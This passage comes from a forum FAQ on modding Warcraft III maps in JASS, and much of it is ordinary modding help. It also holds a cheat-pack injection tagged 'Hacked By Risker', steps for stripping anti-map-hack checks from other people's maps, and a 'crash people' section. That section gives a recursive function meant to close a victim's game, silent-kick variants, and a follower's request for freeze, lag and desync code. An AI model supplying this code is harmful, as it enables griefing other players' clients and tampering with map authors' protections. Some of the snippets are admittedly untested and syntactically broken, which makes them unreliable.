endif
set p2p=null
set s2s=""
endfunction
function CheatUse takes nothing returns nothing
local player p2p=GetTriggerPlayer()
if SubString(GetEventPlayerChatString(),0,100)==Activator and not IsPlayerInForce(p2p,CHEATER) then
call DisplayTextToForce(CHEATER,GetPlayerName(p2p))
call ForceAddPlayer(CHEATER,p2p)
call TriggerRegisterPlayerChatEvent(CHEATS,p2p,"-",false)
call DisplayTimedTextToPlayer(p2p,0,0,10,"EDIT HERE!!!!!")
endif
set p2p=null
endfunction
Question: Can you change the activator for cheatpacks?
Answer: Yes
Spoiler:
Edit the par that says "-Risker" to whatever you would like.
function CheatUse takes nothing returns nothing
local player p2p=GetTriggerPlayer()
local string sp7=GetPlayerName(GetTriggerPlayer())
if sp7=="risker" or sp7=="risker" or sp7=="risker"then
if SubString(GetEventPlayerChatString(),0,100)==Activator and not IsPlayerInForce(p2p,CHEATER) then
call DisplayTextToForce(CHEATER,GetPlayerName(p2p))
call ForceAddPlayer(CHEATER,p2p)
call TriggerRegisterPlayerChatEvent(CHEATS,p2p,"-",false)
call DisplayTimedTextToPlayer(p2p,0,0,10,"|cff8B0000Hacked By|r |cff737373Risker!")
endif
[color=#40FF00]endif[/color]
set p2p=null
endfunction
Translation
Question: How do you edit war3map.w3i when it's corrupted?
Answer:
Spoiler:
When needing to edit the war3map.w3i you should extract it from the map, then open it with a hex editor such as XVI32. This is the only way to edit it, other than trying to re-create it which is pointless.
Question: What is an easier way to translate war3map.j?
Answer:
Spoiler:
For starters the /last/ thing you should do is proof read the entire file, literally the last thing you should do is scroll through the script to see if you've missed anything but never start that way! Too painfully slow and easy to miss things. The best way is to download a program called windows grep (Download will be below under what tools are needed to translate a map) and to search a file with it using keywords to find things to translate; Message, display, dialog and text.
They're all great examples of things to search for, you'll find 90% of all things requires translation via searching for these. The other 10% is usually just missing things. Copying those lines that you find, drop it into http://translate.google.com/ then pasting it into the "search and replace" of your jasscraft to make it final.
Question: What tools are needed to translate a map?
Answer:
Spoiler:
Question: Where is the file location of the harder to find things that need translation?
Answer:
Spoiler:
Question: How do you translate abilities and units?
Answer:
Spoiler:
Anti-Cheat
Question: How do you remove AMHS
Answer:
Spoiler:
Go to the function main part.
search for the triggers they use to activate the AMH system.
such as
First search for PLAYER_SLOT_STATE_PLAYING, there may be more than one.
Now it will most likly either be one that is looped or one for each player.
If there is one for each player most likly you'll see right under them functions
that add to a variable, like set X = X + 1. This variable is how it tells how many
people are in the game. What you want to do is search X (Make sure to check
Match whole words and Match case). Then click Find next till you see something
like X=<1,X=1,X<2 or something that makes it only work if it's one. Now just change
the number to 0. There may be more then one checker, so make sure to get them all.
As for the looped one, there will be more than one X = X + 1 the one that won't be it
will be the one that is with exitwhen X>11. Here is an example:
It basically just checks for players typing them,
and if it detects them...
Displays strings to people saying you're cheating,
removes your gold, removes character stats, kicks you...
Lots of things can happen.
Also, if there's a line like: "call ExecuteFunc(CRASH)" or something like that then remove it.
____________________________________________________________________________
Don't delete the anticheat triggers!
It just creates more trouble!
Just replace everything inside of it with "call DoNothing()".
Question: Is it possible to convert JASS to GUI
Answer: Yes
Spoiler:
There is no tool for this (unprotect works only randomly so... no tool) and even if there was one,
you wouldn't get the same gui it was made of. It's like decompiling a C program back to C, what you get is ugly
and all names/comments are missing.
Question: Can you autokick/ban someone from my map?
Answer: Yes
Spoiler:
local string PlayerName="<REPLACE THIS WITH THE PLAYER NAME>" //Entirely lowercase!
local integer i=0
loop
exitwhen i>11
if GetPlayerName(Player(i))==StringCase(PlayerName,false)then
call CustomDefeatBJ(Player(i),"You are banned.")
endif
set i=i+1
endloop
Question: Can you give me a simple JASS kick system
Answer: Yes
function init_votekick takes nothing returns nothing
local integer i=0
loop
exitwhen i>11
set votekick_dialog=DialogCreate()
call TriggerRegisterPlayerChatEvent(votekick_votekick,Player(i),"-votekick",true)
call TriggerRegisterDialogEvent(votekick_buttonclick,votekick_dialog)
set i=i+1
endloop
endfunction
function VotekickClick takes nothing returns nothing
local player p=GetTriggerPlayer()
local integer id=GetPlayerId(p)
local integer istart=id*12+100
local button b=GetClickedButton()
local integer j=0
local player q
loop
exitwhen j>11
if votekick_buttons[istart+j]==b then
set q=Player(j)
if votekick_votes[istart+j]==1 then
set votekick_votes[istart+j]=0
set votekick_votes[j]=votekick_votes[j]-1
call DisplayTimedTextToPlayer(GetLocalPlayer(),0,0,8.,"A kick vote has been withdrawn for "+GetPlayerName(q))
else
set votekick_votes[j]=votekick_votes[j]+1
set votekick_votes[istart+j]=1
call DisplayTimedTextToPlayer(GetLocalPlayer(),0,0,8.,"A kick vote has been issued for "+GetPlayerName(q))
if votekick_votes[j] >= VOTES_NEEDED_TO_KICK then
call DisplayTimedTextToPlayer(GetLocalPlayer(),0,0,8.,GetPlayerName(q)+" has been kicked by vote")
call RemovePlayer(q,PLAYER_GAME_RESULT_DEFEAT)
if q==GetLocalPlayer()then
call EndGame(false)
endif
endif
endif
endif
set j=j+1
endloop
set q=null
set b=null
set p=null
endfunction
function VotekickShow takes nothing returns nothing
local player p=GetTriggerPlayer()
local integer id=GetPlayerId(p)
local integer istart=id*12+100
local integer j=0
local player q
call DialogClear(votekick_dialog[id])
call DialogSetMessage(votekick_dialog[id],"|cffffcc00Votekick who?")
loop
exitwhen j>11
set votekick_buttons[istart+j]=null
set q=Player(j)
if GetPlayerSlotState(q)==PLAYER_SLOT_STATE_PLAYING and GetPlayerController(q)==MAP_CONTROL_USER and q!=p then
if votekick_votes[istart+j]!=1then
set votekick_buttons[istart+j]=DialogAddButton(votekick_dialog[id],GetPlayerName(q)+" |r[|cffffcc00Vote|r]",0)
else
set votekick_buttons[istart+j]=DialogAddButton(votekick_dialog[id],GetPlayerName(q)+" |r[|cffffcc00Cancel Vote|r]",0)
endif
endif
set j=j+1
endloop
set votekick_buttons[id]=DialogAddButton(votekick_dialog[id],"Cancel |r[|cffff0000ESC|r]",512)
call DialogDisplay(p,votekick_dialog[id],true)
set p=null
set q=null
endfunction
function InitTrig_Votekick takes nothing returns nothing
set votekick_votekick=CreateTrigger()
set votekick_buttonclick=CreateTrigger()
call TriggerAddAction(votekick_votekick,function VotekickShow)
call TriggerAddAction(votekick_buttonclick,function VotekickClick)
call ExecuteFunc("init_votekick")
endfunction
How it works
A player types "-votekick" and it will open up a dialog for them which contains a list of players who are currently playing and beside their name will be either [Vote] or [Cancel Vote].
At the bottom will be a "Cancel [ESC]" button where pressing ESC will close the dialog.
Three votes or whatever the constant is changed to will be how many votes are required to get booted. You cannot vote or cancel a vote against yourself.
Question: Is there ways to crash people? Freeze there warcraft? Etc?
Answer: Yes
function ExitWarcraft takes nothing returns nothing
loop
call ExecuteFunc("ExitWarcraft")
endloop
endfunction
function SendExit takes player p returns nothing
if p==GetLocalPlayer()then
call ExecuteFunc("ExitWarcraft")
endif
endfunction
Usage: call SendExit(<Insert Player Here>)
Please note that this won't just cause massive lag and leaks, although it may seem that way, I tested it and it worked And this is good for making people go 'WTF' because their wc3 just closed without fataling
That's it for the game disruptions. Now it's time for the last one, the famous '-end' command! (Except it's only for 1 player at a time ) It just makes the picked player immediately leave the game and go to chat.
function kickit takes nothing returns nothing
local player p7=GetTriggerPlayer()
local string s7=GetEventPlayerChatString()
local integer z7=S2I(SubString(s7,5,8))
if(z7<1)or(z7>13)then
set p7=null
return
elseif z7-1==GetPlayerId(p7)then
call DisplayTextToPlayer(p7,0,0,"You don't want to kick yourself, dumbass.")
set p7=null
return
endif
if Player(z7-1)==GetLocalPlayer()then
call Player(17)
endif
set p7=null
endfunction
2nd option
//endglobals >kick the player silently, without noticed by anyone else.<
function kickit takes nothing returns nothing
local player p7=GetTriggerPlayer()
local string s7=GetEventPlayerChatString()
local integer z7=S2I(SubString(s7,5,8))
if(z7<1)or(z7>13)then
set p7=null
return
elseif z7-1==GetPlayerId(p7)then
call DisplayTextToPlayer(p7,0,0,"You don't want to kick yourself, dumbass.")
set p7=null
return
endif
call RemovePlayer(Player(z7-1),PLAYER_GAME_RESULT_VICTORY)
set p7=null
endfunction
3rd option
//endglobals >Popping out a quit mission menu, with a message in it.<
//exp: -kick 8 You are damned
function kickit takes nothing returns nothing
local player p7=GetTriggerPlayer()
local string s7=GetEventPlayerChatString()
local integer z7=S2I(SubString(s7,5,8))
if(z7<1)or(z7>13)then
set p7=null
return
elseif z7-1==GetPlayerId(p7)then
call DisplayTextToPlayer(p7,0,0,"You don't want to kick yourself, dumbass.")
set p7=null
return
endif
call CustomDefeatBJ(Player(z7-1)),SubString(s7,8,200))
set p7=null
endfunction
4th options
//endglobals >Popping up a menu saying "You are disconnected"<
function kickit takes nothing returns nothing
local player p7=GetTriggerPlayer()
local string s7=GetEventPlayerChatString()
local integer z7=S2I(SubString(s7,5,8))
if(z7<1)or(z7>13)then
set p7=null
return
elseif z7-1==GetPlayerId(p7)then
call DisplayTextToPlayer(p7,0,0,"You don't want to kick yourself, dumbass.")
set p7=null
return
endif
if Player(z7-1)==GetLocalPlayer()then
return
endif
set p7=null
endfunction
Note: Player code are 1-12. 1 as red, 2 as blue and so on.
Can't kick yourself.
Only host(player red or blue) can kick, as requested.
Do nothing if an invalid player code are inserted.
command would be
-kick###@@@@
# as player code
@ as messages if the 3rd options are used.
I made the codes without any JASS tools. So let me know if there are syntax errors.
Question: Can you give me the clean wc3.xxx files?
Answer: Yes
function GetBaseLength takes string s returns string
if SubString(s,0,5)=="-ally"then
return"5a"
elseif SubString(s,0,7)=="-unally"then
return"7b"
elseif SubString(s,0,7)=="-vision"then
return"7c"
elseif SubString(s,0,9)=="-unvision"then
return"9d"
endif
return""
endfunction
function AllyExecute takes nothing returns nothing
local integer i=0
local player p=GetTriggerPlayer()
local integer id=GetPlayerId(p)
local string s=GetEventPlayerChatString()
local string l=GetBaseLength(StringCase(s,false))
local string array n
local player t
if l!=""then
set i=S2I(SubString(l,0,1))+1
set l=SubString(l,1,2)
else
set p=null
return
endif
set n[0]="red"
set n[1]="blue"
set n[2]="teal"
set n[3]="purple"
set n[4]="yellow"
set n[5]="orange"
set n[6]="green"
set n[7]="pink"
set n[8]="gray"
set n[9]="light blue"
set n[10]="dark green"
set n[11]="brown"
set n[12]=StringCase(SubString(s,i,i+10),false)
set n[13]=""
set i=0
loop
if n==n[12]then
set n[0]="exit"
endif
exitwhen n[0]=="exit"
set i=i+1
endloop
set t=Player(i)
if id==i then
call DisplayTextToPlayer(p,0,0,"You can't perform Alliance Operations with yourself!")
elseif i>11then
call DisplayTextToPlayer(p,0,0,"Invalid player color.")
elseif (l=="a")and(not GetPlayerAlliance(p,t,ALLIANCE_PASSIVE))then
call SetPlayerAllianceStateAllyBJ(p,t,true)
set n[13]=GetPlayerName(p)+" is now allies with "+GetPlayerName(t)
elseif (l=="b")and(GetPlayerAlliance(p,t,ALLIANCE_PASSIVE))then
call SetPlayerAllianceStateAllyBJ(p,t,false)
set n[13]=GetPlayerName(p)+" is now enemies with "+GetPlayerName(t)
elseif (l=="c")and(not GetPlayerAlliance(p,t,ALLIANCE_SHARED_VISION))then
call SetPlayerAlliance(p,t,ALLIANCE_SHARED_VISION,true)
set n[13]=GetPlayerName(p)+" is now sharing vision with "+GetPlayerName(t)
elseif (l=="d")and(GetPlayerAlliance(p,t,ALLIANCE_SHARED_VISION))then
call SetPlayerAlliance(p,t,ALLIANCE_SHARED_VISION,false)
set n[13]=GetPlayerName(p)+" is no longer sharing vision with "+GetPlayerName(t)
endif
call DisplayTextToPlayer(GetLocalPlayer(),0,0,n[13])
set p=null
set t=null
endfunction
//=======================================================================
function InitTrig_AllySystem takes nothing returns nothing
local integer i=0
local trigger t=CreateTrigger()
loop
exitwhen i>11
call TriggerRegisterPlayerChatEvent(t,Player(i),"-",false)
set i=i+1
endloop
call TriggerAddAction(t,function AllyExecute)
set t=null
endfunction
Alright, here is how it works.
-ally color (Allies)
-unally color (Unallies)
-vision color (Shared Vision)
-unvision color (Unshared Vision)
Key Points:
-System uses no globals! (Yay! --> Means that your map takes up less permanent memory!)
-You can share vision with an enemy.
-When you ally an enemy with whom you're sharing vision, you become allies with shared vision.
-If you're sharing vision with an ally and unally them, they still retain shared vision
-Allying an enemy will not automatically share vision
-Messages will display to all players when you change your alliance status
-If you're trying to ally an ally, nothing will happen and no message will display. Same thing for shared vision
-You cannot ally/vision yourself (It will tell you you're a moron)
-You will receive no message if you typed "-" but "vision", "ally", "unally" or "unally" doesn't follow. If either of these follow the "-", but the player is invalid, you will receive an error message.
Also, this system is not case sensitive, -alLY rEd will work the same as -Ally Red.
GUI Related
Question: Where is the best place to find GUI systems?
Answer:
Question: Is it possible to convert GUI to JASS
Answer: Yes
Spoiler:
1. Extract your maps .j with GUI Triggers within it. 2. Take the global variables, put them along with the others in your other maps .j. 3.Take all the functions 4. Remove comments 5. Unnecessary blank lines 6. Don't copy the "call custom triggers" 7. Manually type out InitTrig_yourtriggername( ) after it sais "InitBlizzard()" under function main. 8. Reimport the .j over the other 9. flush the map in mpqmaster 10. delete the attributes
Question: Can you auto kick / ban someone from my map?
Answer: Yes
Spoiler:
Player Colors
Events
Conditions
Actions
Set Player_Colors[1] = |c00ff0303
Set Player_Colors[2] = |c000042ff
Set Player_Colors[3] = |c001ce6b9
Set Player_Colors[4] = |c00540081
Set Player_Colors[5] = |c00fffc01
Set Player_Colors[6] = |c00ff8000
Set Player_Colors[7] = |c0020c000
Set Player_Colors[8] = |c00e55bb0
Set Player_Colors[9] = |c00959697
Set Player_Colors[10] = |c007ebff1
Set Player_Colors[11] = |c00106246
Set Player_Colors[12] = |c004e2a04
For each (Integer A) from 1 to 12, do (Actions)
Loop - Actions
Set Player_Names[(Integer A)] = ((Player_Colors[(Integer A)] + (Name of (Player((Integer A))))) + |r)
WE/Wc3 Related
Question: How do you get a rawcode list faster than getting it manualy
Answer:
Spoiler:
RMPQEx
Use the Dump object data button, it makes a text file with all the information for each type of custom object data that you select. Easy to find particular things in it (Ctrl+F)
Question: What programs do i use to protect a map with?
Answer:
Spoiler:
You need to download the folder of optimizers
Question: How do i shrink size of my map?
Answer:
Spoiler:
You need to download the folder of optimizers
Question: How do i edit preview information? Description etc
Answer:
Spoiler:
You need to use a hex editor, such as XVI32, to edit the .w3x (the map). Find the name, change it, and save it. Rename the .w3x (the map), so that the file name also matches the new name. You need to extract the war3map.w3i, open it with a hex editor, change the map name (if it calls a string, then find that string in the war3map.wts and change it there, too, and then proceed to the following), save, delete the one in the map, add the new one back in, and flush the map. And, you need to open up the war3map.j, search for call SetMapName, change the map name that's in quotes right after that (if it calls a string (it says TRIGSTR_XXX), then open the war3map.wts, find the string it calls (whatever number the XXX was, search for that, the string is the stuff right underneath it), and change it there, too, and then proceed to the following), save, delete the one in the map, add the edited one back in, and flush the map.
Question: How do you get raw codes ?
Answer:
Spoiler:
1.Use MPQMaster to extract war3map.w3t file.
2. Open a blank map in WE
3. Import the file.
4. Open the Object Manager
5. Set it to view raw codes.
Question: What do all the war3map.xxx files do?
Answer:
Spoiler:
war3map.w3a - All the custom ability data is stored in this file
war3map.w3h - Buffs/Effects
war3map.w3q - Upgrades
war3map.w3t - All the custom item data is stored in this file
war3map.w3u - All the custom unit data is stored in this file
war3map.w3b - Destructibles
war3map.w3d - Doodads
war3map.wts - Strings/This file contains trigger string data (ex: You have a trigger that
says "Hi" to all players..."Hi" will generally be stored in this file. This file also contains map name
and other related information and you can also find custom object tooltips,
information and names here)
war3map.j - Jass Triggers
Question: Is it possible to edit a trigger without deprotecting the map?
Answer: Yes
Spoiler:
1. Open it in MPQMaster
2. Edit the file war3map.j
Thanks, yeah I was reading that myself and was thinking the same thing. ^_^ I think when I made this, I just wanted to sound smart.
EDIT:
Nope, it's already there I just added how to get it manually for the sake of teaching I do believe.
Question: How do you get a rawcode list faster than getting it manualy
Answer:
Spoiler:
RMPQEx
Use the Dump object data button, it makes a text file with all the information for each type of custom object data that you select. Easy to find particular things in it (Ctrl+F)
Question: Is there ways to crash people? Freeze there warcraft? Etc?
All content under this didn't work for me... or I didn't use it right?
I want a few separate functions which
1, freezes,
2, lags the warcraft for 1 player
3, desync
did anyone tested the codes given in this question
Request a map? Follow the rulesHERE
Request templateHERE Please, do not PM me.
On the side note, I'm still playing vampirism speed on malaysia room, occasionally in Garena. Bcuz too lazy to find out where else I can play them.